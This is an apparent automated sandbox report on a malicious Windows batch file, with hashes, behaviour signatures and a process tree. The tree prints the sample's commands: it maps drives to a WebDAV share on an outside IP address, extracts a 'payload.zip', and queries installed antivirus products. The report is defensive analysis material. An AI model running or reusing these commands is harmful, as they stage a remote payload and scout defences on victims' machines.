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Analysis

  • max time kernel
    147s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/10/2023, 00:51

General

  • Target

    5d5bdbb6eb2ec87262819ae52795e945fd43efe00f47ec28be2f070ef091f8f4_JC.bat

  • Size

    1KB

  • MD5

    3e04fa57bc1837dd6eb1ddfaaa0c8fb3

  • SHA1

    52c4646dd2796cb4da7a50f6777e3a18f9d48179

  • SHA256

    5d5bdbb6eb2ec87262819ae52795e945fd43efe00f47ec28be2f070ef091f8f4

  • SHA512

    d6679d25b561ff1162a9efffea72deff19e5b1b5a4fe74c5fca590fa1df276f0e24ae6f838a7fc5751533c15553c99c94fec2d3d86d4f6823c1579a9438f0bc6

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\5d5bdbb6eb2ec87262819ae52795e945fd43efe00f47ec28be2f070ef091f8f4_JC.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2204
    • C:\Windows\system32\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\5d5bdbb6eb2ec87262819ae52795e945fd43efe00f47ec28be2f070ef091f8f4_JC.bat min
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4872
      • C:\Windows\system32\net.exe
        net use Z: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:4736
      • C:\Windows\system32\net.exe
        net use Y: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:5080
      • C:\Windows\system32\net.exe
        net use X: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:3048
      • C:\Windows\system32\net.exe
        net use W: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:1532
      • C:\Windows\system32\net.exe
        net use V: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:2068
      • C:\Windows\system32\net.exe
        net use U: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:4440
      • C:\Windows\system32\net.exe
        net use T: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:1440
      • C:\Windows\system32\net.exe
        net use S: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:5076
      • C:\Windows\system32\net.exe
        net use R: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:3328
      • C:\Windows\system32\net.exe
        net use Q: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:2312
      • C:\Windows\system32\net.exe
        net use P: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:2476
      • C:\Windows\system32\net.exe
        net use O: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:4324
      • C:\Windows\system32\net.exe
        net use N: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:1420
      • C:\Windows\system32\net.exe
        net use M: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:668
      • C:\Windows\system32\net.exe
        net use L: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:3780
      • C:\Windows\system32\net.exe
        net use K: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:4580
      • C:\Windows\system32\net.exe
        net use J: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:1996
      • C:\Windows\system32\net.exe
        net use I: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:4128
      • C:\Windows\system32\net.exe
        net use H: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:3952
      • C:\Windows\system32\net.exe
        net use G: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:4908
      • C:\Windows\system32\net.exe
        net use F: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
          PID:5012
        • C:\Windows\system32\net.exe
          net use E: \\172.96.161.208@8080\DavWWWRoot /user:username password
          3⤵
          • Enumerates connected drives
          PID:2356
        • C:\Windows\system32\net.exe
          net use D: \\172.96.161.208@8080\DavWWWRoot /user:username password
          3⤵
            PID:2056
          • C:\Windows\system32\net.exe
            net use C: \\172.96.161.208@8080\DavWWWRoot /user:username password
            3⤵
              PID:3796
            • C:\Windows\system32\net.exe
              net use B: \\172.96.161.208@8080\DavWWWRoot /user:username password
              3⤵
              • Enumerates connected drives
              PID:4536
            • C:\Windows\system32\net.exe
              net use A: \\172.96.161.208@8080\DavWWWRoot /user:username password
              3⤵
              • Enumerates connected drives
              PID:3872
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -command "Expand-Archive -Path 'C:\Users\Admin\Pictures\payload.zip' -DestinationPath 'C:\Users\Admin\Pictures\' -Force"
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1336
            • C:\Windows\system32\net.exe
              net use /delete
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3712
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 use /delete
                4⤵
                  PID:972
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName /value
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4112
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName /value
                  4⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3536

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1nahumdl.jz3.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/1336-9-0x0000019653840000-0x0000019653862000-memory.dmp

            Filesize

            136KB

          • memory/1336-10-0x00007FF9BB190000-0x00007FF9BBC51000-memory.dmp

            Filesize

            10.8MB

          • memory/1336-11-0x00000196538A0000-0x00000196538B0000-memory.dmp

            Filesize

            64KB

          • memory/1336-12-0x00000196538A0000-0x00000196538B0000-memory.dmp

            Filesize

            64KB

          • memory/1336-13-0x00000196538A0000-0x00000196538B0000-memory.dmp

            Filesize

            64KB

          • memory/1336-16-0x00007FF9BB190000-0x00007FF9BBC51000-memory.dmp

            Filesize

            10.8MB